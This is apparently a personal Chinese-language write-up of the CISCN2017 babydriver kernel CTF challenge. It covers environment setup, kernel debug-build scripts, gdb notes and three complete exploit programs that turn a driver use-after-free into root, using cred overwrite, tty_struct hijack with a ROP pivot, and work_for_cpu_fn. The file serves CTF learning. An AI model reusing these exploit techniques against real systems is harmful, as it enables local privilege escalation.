PART I unpack 1 2 loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver/try$ file ./rootfs.cpio ./rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)
md core && cd ./core && cpio -idv < ../rootfs.cpio
start.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 # !/bin/bash qemu-system-x86_64 \ -initrd rootfs.cpio \ -kernel bzImage \ -cpu kvm64,+smep \ -append 'console=ttyS0 root=/dev/ram kpti=1 nokaslr oops=panic panic=1' \ -monitor /dev/null \ -enable-kvm \ -m 256M \ --nographic \ -smp cores=1,threads=1 \ -s
runnable
1 2 3 4 5 6 7 8 9 10 11 12 13 # !/bin/bash qemu-system-x86_64 \ -initrd rootfs.cpio \ -kernel bzImage \ -cpu kvm64,+smep \ -append 'console=ttyS0 root=/dev/ram quiet kpti=1 nokaslr oops=panic panic=0' \ -monitor /dev/null \ -enable-kvm \ -m 512M \ --nographic \ -smp cores=1,threads=1 \ -s
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # !/bin/bash qemu-system-x86_64 \ -m 512M \ -cpu kvm64,+smep \ -smp cores=1,threads=1 \ #少一个 -kernel bzImage \ -initrd rootfs.cpio \ --nographic \ -monitor /dev/null \ # 没有snapshot -append 'console=ttyS0 root=/dev/ram quiet kpti=1 nokaslr oops=panic panic=0' \ #多了一个root=/dev/ram # 没有-no-reboot \ -enable-kvm \ -s
init 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # !/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console # echo 2 > /proc/sys/kernel/kptr_restrictinsmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 0 sh umount /proc umount /sys poweroff -d 0 -f
pack 1 2 3 4 5 6 cd ./core gcc -g -o ./pwwn ./pwwn.c ~/pwnlib.c -I ~ -static -masm=intel echo hhh find . | cpio -ov -H newc > ../rootfs.cpio cd .. ./run.sh
vmlinux 1 2 3 4 5 6 7 8 9 10 11 12 loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver$ vmlinux-to-elf ./bzImage ./vmlinux [+] Kernel successfully decompressed in-memory (the offsets that follow will be given relative to the decompre) [+] Version string: Linux version 4.4.72 (atum@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.07 [+] Guessed architecture: x86_64 successfully in 2.18 seconds [+] Found kallsyms_token_table at file offset 0x00eafe70 [+] Found kallsyms_token_index at file offset 0x00eb0210 [+] Found kallsyms_markers at file offset 0x00eaf318 [+] Found kallsyms_names at file offset 0x00d99480 [+] Found kallsyms_num_syms at file offset 0x00d99478 [i] Null addresses overall: 0.00215239 % [+] Found kallsyms_addresses at file offset 0x00ce3cb8 [+] Successfully wrote the new ELF kernel to ./vmlinux
deepseek下载编译vmlinux脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 # !/bin/bash # 脚本功能:下载 Linux 4.4.72 源码并编译带调试符号的 bzImage # 作者:Your Name # 日期:$(date +%Y-%m-%d) set -e # 任何步骤失败则退出 # 1. 安装依赖 echo "[1/6] 安装编译依赖..." sudo apt-get update sudo apt-get install -y \ git build-essential ncurses-dev xz-utils libssl-dev bc flex bison libelf-dev \ gcc make perl openssl libncurses5-dev zlib1g-dev # 2. 下载内核源码(4.4.72) echo "[2/6] 下载 Linux 4.4.72 源码..." KERNEL_VERSION="4.4.72" KERNEL_SOURCE="linux-${KERNEL_VERSION}.tar.xz" KERNEL_URL="https://cdn.kernel.org/pub/linux/kernel/v4.x/${KERNEL_SOURCE}" if [ ! -f "${KERNEL_SOURCE}" ]; then wget "${KERNEL_URL}" fi if [ ! -d "linux-${KERNEL_VERSION}" ]; then tar -xf "${KERNEL_SOURCE}" fi cd "linux-${KERNEL_VERSION}" # 3. 配置内核(启用调试符号) echo "[3/6] 配置内核..." cat <<EOF > .config-fragment CONFIG_DEBUG_INFO=y CONFIG_DEBUG_INFO_DWARF4=y CONFIG_GDB_SCRIPTS=y CONFIG_KASLR=n EOF make defconfig ./scripts/kconfig/merge_config.sh .config .config-fragment # 4. 编译内核 echo "[4/6] 编译内核(耗时较长,请耐心等待)..." make -j$(nproc) # 5. 验证生成的文件 echo "[5/6] 验证生成的 bzImage 和调试符号..." if [ -f "arch/x86/boot/bzImage" ]; then echo "bzImage 生成成功: $(realpath arch/x86/boot/bzImage)" else echo "错误:bzImage 未生成!" exit 1 fi if [ -f "vmlinux" ]; then echo "调试符号已嵌入 vmlinux: $(realpath vmlinux)" file vmlinux | grep "with debug_info" else echo "错误:vmlinux 未生成!" exit 1 fi # 6. 提示如何使用 echo "[6/6] 完成!" echo "调试方法:" echo "1. 启动 QEMU 调试:" echo " qemu-system-x86_64 -kernel arch/x86/boot/bzImage -append \"nokaslr console=ttyS0\" -s -S -nographic" echo "2. 在另一个终端中运行 GDB:" echo " gdb vmlinux -ex \"target remote :1234\""
通用脚本get_vmlinux 4.4.72
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 # !/bin/bash # 脚本功能:通过版本号下载并编译带调试符号的 Linux 内核(生成 vmlinux 和 bzImage) # 用法:./get_vmlinux.sh <版本号> 示例:./get_vmlinux.sh 4.4.72 # 颜色定义 RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[0;33m' BLUE='\033[0;34m' NC='\033[0m' # No Color # 进度条函数 progress_bar() { local duration=${1} local width=50 local ratio=1 local percent=0 local step=$((100 / width)) printf "${BLUE}[INFO]${NC} Progress: [" for ((i=0; i<=width; i++)); do printf "#" sleep $((duration / width)) done printf "] 100%%\n" } set -e # 任何步骤失败则退出 # 检查参数 if [ "$#" -ne 1 ]; then echo -e "${RED}[ERROR]${NC} 请指定内核版本号!" echo -e "用法: $0 <版本号>" echo -e "示例: $0 4.4.72" exit 1 fi KERNEL_VERSION="$1" KERNEL_MAJOR=$(echo "$KERNEL_VERSION" | cut -d. -f1) KERNEL_SOURCE="linux-${KERNEL_VERSION}.tar.xz" KERNEL_URL="https://cdn.kernel.org/pub/linux/kernel/v${KERNEL_MAJOR}.x/${KERNEL_SOURCE}" WORK_DIR="linux-${KERNEL_VERSION}-debug" echo -e "${GREEN}[1/6] 安装编译依赖...${NC}" sudo apt-get update > /dev/null sudo apt-get install -y \ git build-essential ncurses-dev xz-utils libssl-dev bc flex bison libelf-dev \ gcc make perl openssl libncurses5-dev zlib1g-dev > /dev/null mkdir -p "$WORK_DIR" cd "$WORK_DIR" echo -e "${GREEN}[2/6] 下载 Linux ${KERNEL_VERSION} 源码...${NC}" if [ ! -f "${KERNEL_SOURCE}" ]; then wget --show-progress -q "${KERNEL_URL}" & pid=$! progress_bar 3 # 模拟进度条(实际根据下载速度调整) wait $pid else echo -e "${YELLOW}[WARN]${NC} 已找到源码包 ${KERNEL_SOURCE},跳过下载" fi if [ ! -d "linux-${KERNEL_VERSION}" ]; then echo -e "${BLUE}[INFO]${NC} 解压源码包..." tar -xf "${KERNEL_SOURCE}" fi cd "linux-${KERNEL_VERSION}" echo -e "${GREEN}[3/6] 配置内核...${NC}" cat <<EOF > .config-fragment CONFIG_DEBUG_INFO=y CONFIG_DEBUG_INFO_DWARF4=y CONFIG_GDB_SCRIPTS=y CONFIG_KASLR=n EOF make defconfig > /dev/null ./scripts/kconfig/merge_config.sh .config .config-fragment > /dev/null echo -e "${GREEN}[4/6] 编译内核(耗时较长,请耐心等待)...${NC}" { make -j$(nproc) 2>&1 | while read line; do echo -ne "${BLUE}[COMPILE]${NC} $line\r" done } | tee compile.log echo # 换行 echo -e "${GREEN}[5/6] 验证生成的文件...${NC}" if [ -f "arch/x86/boot/bzImage" ] && [ -f "vmlinux" ]; then echo -e "${GREEN}[SUCCESS]${NC} 编译成功!" echo -e "bzImage 路径: $(realpath arch/x86/boot/bzImage)" echo -e "vmlinux 路径: $(realpath vmlinux)" else echo -e "${RED}[ERROR]${NC} 编译失败,请检查 compile.log" exit 1 fi echo -e "${GREEN}[6/6] 调试方法:${NC}" echo -e "1. 启动 QEMU:" echo -e " qemu-system-x86_64 -kernel $(realpath arch/x86/boot/bzImage) -append \"nokaslr console=ttyS0\" -s -S -nographic" echo -e "2. 连接 GDB:" echo -e " gdb $(realpath vmlinux) -ex \"target remote :1234\""
PART II method I <–> struct cred 修改cred结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include "pwnlib.h" int fd1,fd2;void *buf;int cmd = (int )0x10001 ;void init_func () { fd1 = open("/dev/babydev" ,O_RDWR); fd2 = open("/dev/babydev" ,O_RDWR); if (fd1 < 0 || fd2 < 0 ){error("can't open /dev/babydev" );} buf = (void *)mmap(NULL ,0x100 ,7 ,MAP_ANONYMOUS | MAP_PRIVATE,-1 ,0 ); memset (buf,'\x00' ,0x100 ); } void main () { init_func(); ioctl(fd1,cmd,0xa8 ); close(fd1); if (!fork()){ write(fd2,buf,0x1c ); getshell(); }else { waitpid(-1 ,NULL ,0 ); } underline("end from main" ); }
cred结构体,euid = 0
v6中的cred(❌)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 struct cred { atomic_long_t usage; kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring; struct key *session_keyring ; struct key *process_keyring ; struct key *thread_keyring ; struct key *request_key_auth ; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user ; struct user_namespace *user_ns ; struct ucounts *ucounts ; struct group_info *group_info ; union { int non_rcu; struct rcu_head rcu ; }; } __randomize_layout; typedef atomic64_t atomic_long_t ;typedef struct { uid_t val; } kuid_t ; typedef __kernel_uid32_t uid_t ;
v4中的(❌)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring; struct key __rcu *session_keyring ; struct key *process_keyring ; struct key *thread_keyring ; struct key *request_key_auth ; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user ; struct user_namespace *user_ns ; struct group_info *group_info ; struct rcu_head rcu ; }; typedef struct { int counter; } atomic_t ;
mothod II <–> struct tty_struct + 栈迁移 uaf配合tty_struct结构体leak和改写 + gadget栈迁移dev/ptmx
pwwn.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 #include "pwnlib.h" int fd1,fd2,fd_tty;int cmd = (int )0x10001 ;void *buf;size_t fake_tty_op[0x30 ];size_t off = 0x0 ;size_t magic = 0xFFFFFFFF8181BFC5 ;size_t pop_rsp_ret = 0xffffffff81171045 ;size_t pop_rdi_ret = 0xffffffff810d238d ;size_t init_cred_ = 0xffffffff81e48c60 ;size_t commit_creds_ = 0xffffffff810a1420 ;size_t srrartu = 0x0 ;size_t swapgs_ = 0xffffffff81063694 ;size_t iretq_ = 0xffffffff814e35ef ;size_t mov_cr4_rdi = 0xffffffff81004d80 ;size_t rop_chain[0x20 ];void ioctl_func (int fd,size_t size) { ioctl(fd,cmd,size); } void init_func () { save(); fd1 = open("/dev/babydev" ,O_RDWR); fd2 = open("/dev/babydev" ,O_RDWR); if (fd1<0 ||fd2<0 ){error("can't open /dev/babydev" );} buf = (void *)mmap(NULL ,0x100 ,7 ,MAP_ANONYMOUS|MAP_PRIVATE,-1 ,0 ); memset (buf,'\x00' ,0x100 ); } void add_off () { magic += off; pop_rsp_ret += off; pop_rdi_ret += off; init_cred_ += off; commit_creds_ += off; srrartu += off; swapgs_ += off; iretq_ += off; } void getshell_ (int num) { if (getuid() != 0 ){ error("uid is not 0 !!!" ); underline("Wating..." ); sleep(5 ); exit (0 ); } if (geteuid() != 0 ){ error("euid is %d" ,(int )geteuid()); } success("welcome ROOT !!!" ); char *argv[] = {"/bin/sh" , NULL }; char *envp[] = {NULL }; execve("/bin/sh" , argv, envp); exit (0 ); } void mainII () { init_func(); ioctl_func(fd1,0x2e0 ); close(fd1); fd_tty = open("/dev/ptmx" ,O_RDWR); if (fd_tty<0 ){error("can't open /dev/ptmx" );} read(fd2,buf,0x100 ); off = ((size_t *)buf)[3 ] - 0xffffffff81a74f80 ; underline("off is 0x%lx" ,off); add_off(); int ii = 0 ; fake_tty_op[ii++] = pop_rdi_ret; fake_tty_op[ii++] = init_cred_; fake_tty_op[ii++] = pop_rsp_ret; fake_tty_op[ii++] = (size_t )rop_chain; fake_tty_op[7 ] = magic; int i = 0 ; rop_chain[i++] = commit_creds_; rop_chain[i++] = swapgs_; rop_chain[i++] = 0x0 ; rop_chain[i++] = iretq_; size_t addr = (size_t )getshell; rop_chain[i++] = addr; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; ((size_t *)buf)[3 ] = (size_t )fake_tty_op; signal(SIGSEGV, getshell); __asm__( "sub rsp,0x8;" ); write(fd2,buf,0x100 ); write(fd_tty,buf,0x10 ); underline("end from main" ); } void main () { mainII(); }
1 2 3 4 5 / $ ./pwwn [=]have saved! [*]off is 0xb000000 [+]welcome ROOT !!! / #
tty_struct
结构体/dev/ptmx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 struct tty_struct { int magic; struct kref kref ; struct device * dev ; struct tty_driver * driver ; const struct tty_operations * ops ; int index; struct ld_semaphore ldisc_sem ; struct tty_ldisc * ldisc ; struct mutex atomic_write_lock ; struct mutex legacy_mutex ; struct mutex throttle_mutex ; struct rw_semaphore termios_rwsem ; struct mutex winsize_mutex ; spinlock_t ctrl_lock; spinlock_t flow_lock; struct ktermios termios ; struct ktermios termios_locked ; struct termiox * termiox ; char name[64 ]; struct pid * pgrp ; struct pid * session ; long unsigned int flags; int count; struct winsize winsize ; long unsigned int stopped:1 ; long unsigned int flow_stopped:1 ; long unsigned int :0 ; long unsigned int unused:62 ; int hw_stopped; long unsigned int ctrl_status:8 ; long unsigned int packet:1 ; long unsigned int :0 ; long unsigned int unused_ctrl:55 ; unsigned int receive_room; int flow_change; struct tty_struct * link ; struct fasync_struct * fasync ; int alt_speed; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work ; void * disc_data; void * driver_data; struct list_head tty_files ; int closing; unsigned char * write_buf; int write_cnt; struct work_struct SAK_work ; struct tty_port * port ; };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 struct tty_operations { struct tty_struct * (*lookup )(struct tty_driver *, struct inode *, int ); int (*install)(struct tty_driver *, struct tty_struct *); void (*remove)(struct tty_driver *, struct tty_struct *); int (*open)(struct tty_struct *, struct file *); void (*close)(struct tty_struct *, struct file *); void (*shutdown)(struct tty_struct *); void (*cleanup)(struct tty_struct *); int (*write)(struct tty_struct *, const unsigned char *, int ); int (*put_char)(struct tty_struct *, unsigned char ); void (*flush_chars)(struct tty_struct *); int (*write_room)(struct tty_struct *); int (*chars_in_buffer)(struct tty_struct *); int (*ioctl)(struct tty_struct *, unsigned int , long unsigned int ); long int (*compat_ioctl) (struct tty_struct *, unsigned int , long unsigned int ) ; void (*set_termios)(struct tty_struct *, struct ktermios *); void (*throttle)(struct tty_struct *); void (*unthrottle)(struct tty_struct *); void (*stop)(struct tty_struct *); void (*start)(struct tty_struct *); void (*hangup)(struct tty_struct *); int (*break_ctl)(struct tty_struct *, int ); void (*flush_buffer)(struct tty_struct *); void (*set_ldisc)(struct tty_struct *); void (*wait_until_sent)(struct tty_struct *, int ); void (*send_xchar)(struct tty_struct *, char ); int (*tiocmget)(struct tty_struct *); int (*tiocmset)(struct tty_struct *, unsigned int , unsigned int ); int (*resize)(struct tty_struct *, struct winsize *); int (*set_termiox)(struct tty_struct *, struct termiox *); int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); const struct file_operations * proc_fops ; };
1 2 3 4 5 6 7 8 9 pwndbg> tele 0xffff88001f9f2400 00:0000│ rsi 0xffff88001f9f2400 ◂— 0x100005401 01:0008│ 0xffff88001f9f2408 ◂— 0 02:0010│ 0xffff88001f9f2410 —▸ 0xffff88001cfa7a80 ◂— 0x200005402 03:0018│ 0xffff88001f9f2418 —▸ 0xffffffff81a74f80 (pciidlist+2272) —▸ 0xffffffff814e2640 (intel_dsi_pre_pll_enable+2544) ◂— nop dword ptr [rax + rax] 04:0020│ 0xffff88001f9f2420 ◂— 0 ... ↓ 2 skipped 07:0038│ 0xffff88001f9f2438 ◂— 0xffff88001f9f2438
mothod III <–> tty_struct + work_for_cpu_fn tty_struct + work_for_cpu_fn pwwn.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 #include "pwnlib.h" int fd1,fd2,tty_fd;size_t tty_size = (size_t )0x2e0 ;size_t off;void *buf;unsigned int cmd = 0x10001 ;size_t init_cred_ = 0xffffffff81e48c60 ;size_t commit_creds_ = 0xffffffff810a1420 ;size_t work_for_cpu_fn = 0xffffffff81095fb0 ;size_t *fake_tty_options,*fake_work_struct,*old_tty;void init_func () { fd1 = open("/dev/babydev" ,O_RDWR); fd2 = open("/dev/babydev" ,O_RDWR); if (fd1<0 ||fd2<0 ){error("can't open /dev/babydev" );} buf = (void *)mmap(NULL ,0x1000 ,7 ,MAP_ANONYMOUS|MAP_PRIVATE,-1 ,0 ); memset (buf,0x1000 ,'\x00' ); ((char *)buf)[0 ] = '\x11' ; } void ioctl_func (int fd,size_t size) { ioctl(fd,cmd,size); } void add_off () { off = ((size_t *)buf)[3 ] - 0xffffffff81a74f80 ; underline("off is 0x%lx" ,off); init_cred_ += off; commit_creds_ += off; work_for_cpu_fn += off; } void set_fake_tty_options () { fake_tty_options = (void *)mmap(NULL ,0x1000 ,7 , MAP_ANONYMOUS|MAP_PRIVATE,-1 ,0 ); fake_tty_options[0 ] = 0x111 ; memset (fake_tty_options,0x1000 ,'\x00' ); fake_tty_options[12 ] = work_for_cpu_fn; } void set_fake_work_struct () { fake_work_struct = mmap(NULL ,0x1000 ,7 , MAP_ANONYMOUS|MAP_PRIVATE,-1 ,0 ); fake_work_struct[0 ] = 0x11 ; memset (fake_work_struct,0x1000 ,'\x00' ); fake_work_struct[0 ] = 0 ; fake_work_struct[1 ] = (size_t )commit_creds_; fake_work_struct[2 ] = (size_t )init_cred_; } void main () { init_func(); ioctl_func(fd1,tty_size); close(fd1); tty_fd = open("/dev/ptmx" ,O_RDWR); if (tty_fd < 0 ){error("can't open /dev/ptmx" );} read(fd2,(char *)buf,0x100 ); old_tty = mmap(NULL ,0x1000 ,7 ,MAP_ANONYMOUS|MAP_PRIVATE,-1 ,0 ); old_tty[0 ] = 0x1 ; memset (old_tty,0x100 ,'\x00' ); memcpy (old_tty,buf,0x100 ); add_off(); set_fake_tty_options(); set_fake_work_struct(); ((size_t *)buf)[3 ] = (size_t )fake_tty_options; ((size_t *)buf)[5 ] = (size_t )init_cred_; ((size_t *)buf)[4 ] = (size_t )commit_creds_; write(fd2,buf,0x100 ); ioctl(tty_fd,233 ,233 ); getshell(); underline("end from main" ); }
1 2 3 / $ ./pwwn [*]off is 0x3000000 [+]welcome ROOT !!!
work_for_cpu_fn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 static void work_for_cpu_fn (struct work_struct *work) { struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work); wfc->ret = wfc->fn(wfc->arg); } #ifndef container_of #define container_of(ptr, type, member) \ (type *)((char *)(ptr) - (char *) &((type *)0)->member) #endif struct work_for_cpu { struct work_struct work ; long (*fn)(void *); void *arg; long ret; }; struct work_for_cpu { struct work_struct work ; long int (*fn) (void *) ; void * arg; long int ret; };
使用write来触发确实不行,会无限卡死在这里
两个233参数貌似没必要,两个0也可以 可能是因为版本太低的原因
tty_struct虽然被破坏,但没有恢复的必要
gdb.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 target remote localhost:1234 add-symbol-file ./vmlinux add-symbol-file ./core/pwwn # add-symbol-file ./core/myexp/tty_struct add-symbol-file ./core/babydriver.ko 0xffffffffc0000000 # copy_from_user # b *0x119+0xffffffffc0000000 # copy_to_user # b *0x15C+0xffffffffc0000000 # b babyread # kfree in ioctl # b *0x9c+0xffffffffc0000000 # b babyread # magic # b *0xFFFFFFFF8181BFC5 # swapgs_ # b *0xffffffff81063694 # pop rdi # b *0xffffffff810d238d # mov cr4,rdi # b *0xffffffff81004d80 # b debug # b *0xffffffff81063694 # b *0xffffffff810d238d # b getshell # b break *0xffffffff8105fd4d # iretq # b *0xffffffff814e35ef # b mainII # b main b *0xffffffff81095fb0 c
PART III Q(A) 1. Q&A 1 2 3 loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver/try$ ./run.sh Could not access KVM kernel module: Permission denied qemu-system-x86_64: failed to initialize kvm: Permission denied
赋予权限sudo ./run.sh
或sudo usermod -aG kvm $USER
+ 重启终端
2. Q&A 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 int __cdecl babydriver_init () { int v0; __int64 v1; int v2; class *v3 ; __int64 v4; if ( (int )alloc_chrdev_region(&babydev_no, 0LL , 1LL , "babydev" ) >= 0 ) { cdev_init(&cdev_0, &fops); v1 = babydev_no; cdev_0.owner = &_this_module; v2 = cdev_add(&cdev_0, babydev_no, 1LL ); if ( v2 >= 0 ) { v3 = (class *)_class_create(&_this_module, "babydev" , &babydev_no); babydev_class = v3; if ( v3 ) { v4 = device_create(v3, 0LL , babydev_no, 0LL , "babydev" ); v0 = 0 ; if ( v4 ) return v0; printk(&unk_351, 0LL ); class_destroy(babydev_class); } else { printk(&unk_33B, "babydev" ); } cdev_del(&cdev_0); } else { printk(&unk_327, v1); } unregister_chrdev_region(babydev_no, 1LL ); return v2; } printk(&unk_309, 0LL ); return 1 ; }
在init函数中出现次数最高的就一定是目标文件了吧/dev/babydev
😶🌫️😶🌫️😶🌫️ 创建设备文件同时初始化对设备文件的操作
3. Q&A 1 2 3 4 5 6 7 8 9 10 add symbol table from file "./vmlinux" warning: Loadable section ".notes" outside of ELF segments in /home/loo/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver/try/vmlinux warning: remote target does not support file transfer, attempting to access files from local filesystem. add symbol table from file "./core/pwwn" add symbol table from file "./core/babydriver.ko" at .text_addr = 0xffffffffc0000000 Breakpoint 1 at 0x401b78: debug. (2 locations) Breakpoint 2 at 0xffffffffc00000f0: file /home/atum/PWN/my/babydriver/kernelmodule/babydriver.c, line 48. Breakpoint 3 at 0xffffffffc0000080: file /home/atum/PWN/my/babydriver/kernelmodule/babydriver.c, line 56.
明显已经下好断点了,为什么停不下来呢
1 2 3 4 5 pwndbg> i b Num Type Disp Enb Address What 1 breakpoint keep y <PENDING> init_func 2 breakpoint keep y <PENDING> babywrite 3 breakpoint keep y <PENDING> babyioctl
时而pending时而是地址,但都挂不上去,不知道如何操作一下就挂上去了,但是稍作改动就又不行了,恢复也不行😫 貌似是这个题设置的qemu环境有问题
过了两天就能将断点打上去了💩
过了好几天又挂不上去了💩💩 手动设置貌似可以,目前可以,打不上去是因为<PENDING>
,但是我记得好象这样也不是很靠谱,以后看情况吧,以前可能是两种情况混在一起了,感觉这个<PENDING>
还是比较靠谱的
1 2 3 4 5 pwndbg> i b Num Type Disp Enb Address What 1 breakpoint keep y <PENDING> *0x119 +0xffffffffc0000000 2 breakpoint keep y 0xffffffff81095fb0 <work_for_cpu_fn> breakpoint already hit 1 time
4. Q&A&A 不知道如何查看当前进程的credgetuid()
和geteuid()
函数或许足够了 编译解万难😁
5. Q&A 在线网站上显示uid在0x10偏移处但是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; ... }
实际操作发现只覆盖0x8字节的数据,就可以修改uid 最少覆盖0x18可以修改euid实现提权 推测实际结构体如下
1 2 3 4 5 6 7 8 9 10 11 12 struct cred { atomic_t usage; kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; ... }
有意思,真真假假 实际如下:(在线网站在我心中的地位动摇了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 struct cred { atomic_t usage; kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned int securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; unsigned char jit_keyring; struct key * session_keyring ; struct key * process_keyring ; struct key * thread_keyring ; struct key * request_key_auth ; void * security; struct user_struct * user ; struct user_namespace * user_ns ; struct group_info * group_info ; struct callback_head rcu __attribute__ ((__aligned__ (8))); } __attribute__((__aligned__(8 )));
覆盖0x7c(一直到覆盖0x78都没问题)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 / $ ./pwwn [ 4.033946] general protection fault: 0000 [#1] SMP [ 4.036693] Modules linked in: babydriver(OE) [ 4.038659] CPU: 0 PID: 91 Comm: pwwn Tainted: G OE 4.4.72 #1 [ 4.041273] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 [ 4.043267] task: ffff88001f9bd940 ti: ffff88001fa64000 task.ti: ffff88001fa64000 [ 4.044962] RIP: 0010:[<ffffffff81382cd8>] [<ffffffff81382cd8>] common_perm+0x28/0x50 [ 4.046924] RSP: 0018:ffff88001fa67df8 EFLAGS: 00010246 [ 4.048192] RAX: 0000000000000000 RBX: ffffffff81ea0280 RCX: ffff88001fa67e00 [ 4.049718] RDX: 0000000000000080 RSI: ffff88001fa67e08 RDI: 000000000000000e [ 4.051270] RBP: ffff88001fa67e20 R08: 0000000000019f80 R09: ffffffff8121ad24 [ 4.052906] R10: f000ff53f000ff53 R11: 0000000000000000 R12: ffff88001fa67e70 [ 4.054464] R13: 0000000000000001 R14: 00000000004b279d R15: ffff88001fa67ec0 [ 4.055978] FS: 00000000011273c0(0063) GS:ffff88001f000000(0000) knlGS:0000000000000000 [ 4.057676] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 4.058881] CR2: 00000000004b279d CR3: 000000001f9c7000 CR4: 00000000001006f0 [ 4.060848] Stack: [ 4.061302] ffffffff81382d61 ffff218000000000 